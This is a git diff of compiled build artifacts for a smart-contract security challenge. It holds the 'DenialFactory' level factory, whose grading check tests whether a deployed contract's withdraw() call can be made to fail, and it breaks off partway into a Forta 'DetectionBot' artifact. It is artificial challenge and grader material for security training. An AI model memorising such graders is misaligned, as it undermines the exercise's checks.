{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DenialFactory.sol":"DenialFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Denial.sol":{"keccak256":"0x53e7e264718d21a89f046473e5bb5c1330ab11c7a52f16d58dba10206b4d49c0","urls":["bzz-raw://79df26e13c2bdfcd90047dde5296762dbeff36177354ffee2ef6506db1bf27fd","dweb:/ipfs/Qmb3dqmtRnxUjccbSa7EUuRg5MH9vdN9Hu8HTYRWhthtyM"],"license":"MIT"},"src/levels/DenialFactory.sol":{"keccak256":"0x5936a1053638582713a7aa983e372a4450dba9e6f406fe32915c6f71a0e93bb7","urls":["bzz-raw://421f4c9b25ffba1d5b4b248f3e9bc311ab4ad60f39be76e11b1f26399bbd70c1","dweb:/ipfs/QmctsRGST8ECUh8aXeQb9hig3xdEd67mX4jktCKyCALErn"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DenialFactory.sol","id":50571,"exportedSymbols":{"Context":[48281],"Denial":[50459],"DenialFactory":[50570],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:1007:66","nodes":[{"id":50461,"nodeType":"PragmaDirective","src":"33:23:66","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50462,"nodeType":"ImportDirective","src":"58:26:66","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":50571,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":50463,"nodeType":"ImportDirective","src":"85:22:66","nodes":[],"absolutePath":"src/levels/Denial.sol","file":"./Denial.sol","nameLocation":"-1:-1:-1","scope":50571,"sourceUnit":50460,"symbolAliases":[],"unitAlias":""},{"id":50570,"nodeType":"ContractDefinition","src":"109:930:66","nodes":[{"id":50468,"nodeType":"VariableDeclaration","src":"147:43:66","nodes":[],"constant":false,"functionSelector":"e037f889","mutability":"mutable","name":"initialDeposit","nameLocation":"162:14:66","scope":50570,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50466,"name":"uint256","nodeType":"ElementaryTypeName","src":"147:7:66","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"302e303031","id":50467,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"179:11:66","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"visibility":"public"},{"id":50516,"nodeType":"FunctionDefinition","src":"197:323:66","nodes":[],"body":{"id":50515,"nodeType":"Block","src":"280:240:66","nodes":[],"statements":[{"expression":{"id":50476,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50470,"src":"290:7:66","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50477,"nodeType":"ExpressionStatement","src":"290:7:66"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50482,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":50479,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"315:3:66","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"319:5:66","memberName":"value","nodeType":"MemberAccess","src":"315:9:66","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":50481,"name":"initialDeposit","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50468,"src":"328:14:66","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"315:27:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":50478,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"307:7:66","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":50483,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"307:36:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50484,"nodeType":"ExpressionStatement","src":"307:36:66"},{"assignments":[50487],"declarations":[{"constant":false,"id":50487,"mutability":"mutable","name":"instance","nameLocation":"360:8:66","nodeType":"VariableDeclaration","scope":50515,"src":"353:15:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"},"typeName":{"id":50486,"nodeType":"UserDefinedTypeName","pathNode":{"id":50485,"name":"Denial","nameLocations":["353:6:66"],"nodeType":"IdentifierPath","referencedDeclaration":50459,"src":"353:6:66"},"referencedDeclaration":50459,"src":"353:6:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"visibility":"internal"}],"id":50492,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":50490,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"371:10:66","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Denial_$50459_$","typeString":"function () returns (contract Denial)"},"typeName":{"id":50489,"nodeType":"UserDefinedTypeName","pathNode":{"id":50488,"name":"Denial","nameLocations":["375:6:66"],"nodeType":"IdentifierPath","referencedDeclaration":50459,"src":"375:6:66"},"referencedDeclaration":50459,"src":"375:6:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}},"id":50491,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"371:12:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"nodeType":"VariableDeclarationStatement","src":"353:30:66"},{"assignments":[50494,null],"declarations":[{"constant":false,"id":50494,"mutability":"mutable","name":"result","nameLocation":"399:6:66","nodeType":"VariableDeclaration","scope":50515,"src":"394:11:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50493,"name":"bool","nodeType":"ElementaryTypeName","src":"394:4:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":50505,"initialValue":{"arguments":[{"hexValue":"","id":50503,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"451:2:66","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":50497,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50487,"src":"418:8:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":50496,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"410:7:66","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50495,"name":"address","nodeType":"ElementaryTypeName","src":"410:7:66","typeDescriptions":{}}},"id":50498,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"410:17:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50499,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"428:4:66","memberName":"call","nodeType":"MemberAccess","src":"410:22:66","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":50502,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":50500,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"440:3:66","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":50501,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"444:5:66","memberName":"value","nodeType":"MemberAccess","src":"440:9:66","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"410:40:66","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":50504,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"410:44:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"393:61:66"},{"expression":{"arguments":[{"id":50507,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50494,"src":"472:6:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":50506,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"464:7:66","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":50508,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"464:15:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50509,"nodeType":"ExpressionStatement","src":"464:15:66"},{"expression":{"arguments":[{"id":50512,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50487,"src":"504:8:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":50511,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"496:7:66","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50510,"name":"address","nodeType":"ElementaryTypeName","src":"496:7:66","typeDescriptions":{}}},"id":50513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"496:17:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":50475,"id":50514,"nodeType":"Return","src":"489:24:66"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"206:14:66","overrides":{"id":50472,"nodeType":"OverrideSpecifier","overrides":[],"src":"253:8:66"},"parameters":{"id":50471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50470,"mutability":"mutable","name":"_player","nameLocation":"229:7:66","nodeType":"VariableDeclaration","scope":50516,"src":"221:15:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50469,"name":"address","nodeType":"ElementaryTypeName","src":"221:7:66","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"220:17:66"},"returnParameters":{"id":50475,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50474,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50516,"src":"271:7:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50473,"name":"address","nodeType":"ElementaryTypeName","src":"271:7:66","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"270:9:66"},"scope":50570,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":50565,"nodeType":"FunctionDefinition","src":"526:476:66","nodes":[],"body":{"id":50564,"nodeType":"Block","src":"627:375:66","nodes":[],"statements":[{"expression":{"id":50526,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50520,"src":"637:7:66","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50527,"nodeType":"ExpressionStatement","src":"637:7:66"},{"assignments":[50530],"declarations":[{"constant":false,"id":50530,"mutability":"mutable","name":"instance","nameLocation":"661:8:66","nodeType":"VariableDeclaration","scope":50564,"src":"654:15:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"},"typeName":{"id":50529,"nodeType":"UserDefinedTypeName","pathNode":{"id":50528,"name":"Denial","nameLocations":["654:6:66"],"nodeType":"IdentifierPath","referencedDeclaration":50459,"src":"654:6:66"},"referencedDeclaration":50459,"src":"654:6:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"visibility":"internal"}],"id":50534,"initialValue":{"arguments":[{"id":50532,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50518,"src":"679:9:66","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":50531,"name":"Denial","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50459,"src":"672:6:66","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Denial_$50459_$","typeString":"type(contract Denial)"}},"id":50533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"672:17:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"nodeType":"VariableDeclarationStatement","src":"654:35:66"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50541,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":50537,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50530,"src":"711:8:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":50536,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"703:7:66","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50535,"name":"address","nodeType":"ElementaryTypeName","src":"703:7:66","typeDescriptions":{}}},"id":50538,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"703:17:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50539,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"721:7:66","memberName":"balance","nodeType":"MemberAccess","src":"703:25:66","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"313030","id":50540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"732:7:66","subdenomination":"wei","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},"src":"703:36:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50545,"nodeType":"IfStatement","src":"699:113:66","trueBody":{"id":50544,"nodeType":"Block","src":"741:71:66","statements":[{"expression":{"hexValue":"66616c7365","id":50542,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"796:5:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":50525,"id":50543,"nodeType":"Return","src":"789:12:66"}]}},{"assignments":[50547,null],"declarations":[{"constant":false,"id":50547,"mutability":"mutable","name":"result","nameLocation":"870:6:66","nodeType":"VariableDeclaration","scope":50564,"src":"865:11:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50546,"name":"bool","nodeType":"ElementaryTypeName","src":"865:4:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":50560,"initialValue":{"arguments":[{"arguments":[{"hexValue":"77697468647261772829","id":50557,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"942:12:66","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ccfd60b2e3ddce51ab210bfb9db13577f03a21684fa35e4bcd739dd5a30bda2","typeString":"literal_string \"withdraw()\""},"value":"withdraw()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ccfd60b2e3ddce51ab210bfb9db13577f03a21684fa35e4bcd739dd5a30bda2","typeString":"literal_string \"withdraw()\""}],"expression":{"id":50555,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"918:3:66","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":50556,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"922:19:66","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"918:23:66","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":50558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"918:37:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":50550,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50530,"src":"889:8:66","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":50549,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"881:7:66","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50548,"name":"address","nodeType":"ElementaryTypeName","src":"881:7:66","typeDescriptions":{}}},"id":50551,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"881:17:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50552,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"899:4:66","memberName":"call","nodeType":"MemberAccess","src":"881:22:66","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":50554,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["gas"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31303030303030","id":50553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"909:7:66","typeDescriptions":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"},"value":"1000000"}],"src":"881:36:66","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$gas","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":50559,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"881:75:66","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"864:92:66"},{"expression":{"id":50562,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"988:7:66","subExpression":{"id":50561,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50547,"src":"989:6:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":50525,"id":50563,"nodeType":"Return","src":"981:14:66"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"535:16:66","overrides":{"id":50522,"nodeType":"OverrideSpecifier","overrides":[],"src":"603:8:66"},"parameters":{"id":50521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50518,"mutability":"mutable","name":"_instance","nameLocation":"568:9:66","nodeType":"VariableDeclaration","scope":50565,"src":"552:25:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":50517,"name":"address","nodeType":"ElementaryTypeName","src":"552:15:66","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":50520,"mutability":"mutable","name":"_player","nameLocation":"587:7:66","nodeType":"VariableDeclaration","scope":50565,"src":"579:15:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50519,"name":"address","nodeType":"ElementaryTypeName","src":"579:7:66","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"551:44:66"},"returnParameters":{"id":50525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50524,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50565,"src":"621:4:66","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50523,"name":"bool","nodeType":"ElementaryTypeName","src":"621:4:66","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"620:6:66"},"scope":50570,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50569,"nodeType":"FunctionDefinition","src":"1008:29:66","nodes":[],"body":{"id":50568,"nodeType":"Block","src":"1035:2:66","nodes":[],"statements":[]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50566,"nodeType":"ParameterList","parameters":[],"src":"1015:2:66"},"returnParameters":{"id":50567,"nodeType":"ParameterList","parameters":[],"src":"1035:0:66"},"scope":50570,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":50464,"name":"Level","nameLocations":["135:5:66"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"135:5:66"},"id":50465,"nodeType":"InheritanceSpecifier","src":"135:5:66"}],"canonicalName":"DenialFactory","contractDependencies":[50459],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50570,55508,46700,48281],"name":"DenialFactory","nameLocation":"118:13:66","scope":50571,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":66} \ No newline at end of file diff --git a/contracts/out/DetectionBot.sol/DetectionBot.json b/contracts/out/DetectionBot.sol/DetectionBot.json new file mode 100644 index 000000000..58225a03e --- /dev/null +++ b/contracts/out/DetectionBot.sol/DetectionBot.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"forta","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"fortaContract","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract IForta"}],"stateMutability":"view"},{"type":"function","name":"handleTransaction","inputs":[{"name":"user","type":"address","internalType":"address"},{"name":"msgData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506040516102b43803806102b483398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6102288061008c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c8063220ab6aa14610038578063f11476bc1461004d575b5f80fd5b61004b610046366004610169565b61007b565b005b5f5461005f906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f546001600160a01b031633146100f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e617574686f72697a65640000000000000000000000000000000000000000604482015260640160405180910390fd5b5f546040517f087a43c10000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529091169063087a43c1906024015f604051808303815f87803b15801561014e575f80fd5b505af1158015610160573d5f803e3d5ffd5b50505050505050565b5f805f6040848603121561017b575f80fd5b83356001600160a01b0381168114610191575f80fd5b9250602084013567ffffffffffffffff808211156101ad575f80fd5b818601915086601f8301126101c0575f80fd5b8135818111156101ce575f80fd5b8760208285010111156101df575f80fd5b602083019450809350505050925092509256fea2646970667358221220e197111a722357f1cdb93cc1c19c940ae81ed166792fd9e6567f3f624a23e80c64736f6c63430008180033","sourceMap":"371:432:41:-:0;;;450:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;487:13;:29;;-1:-1:-1;;;;;;487:29:41;-1:-1:-1;;;;;487:29:41;;;;;;;;;;371:432;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;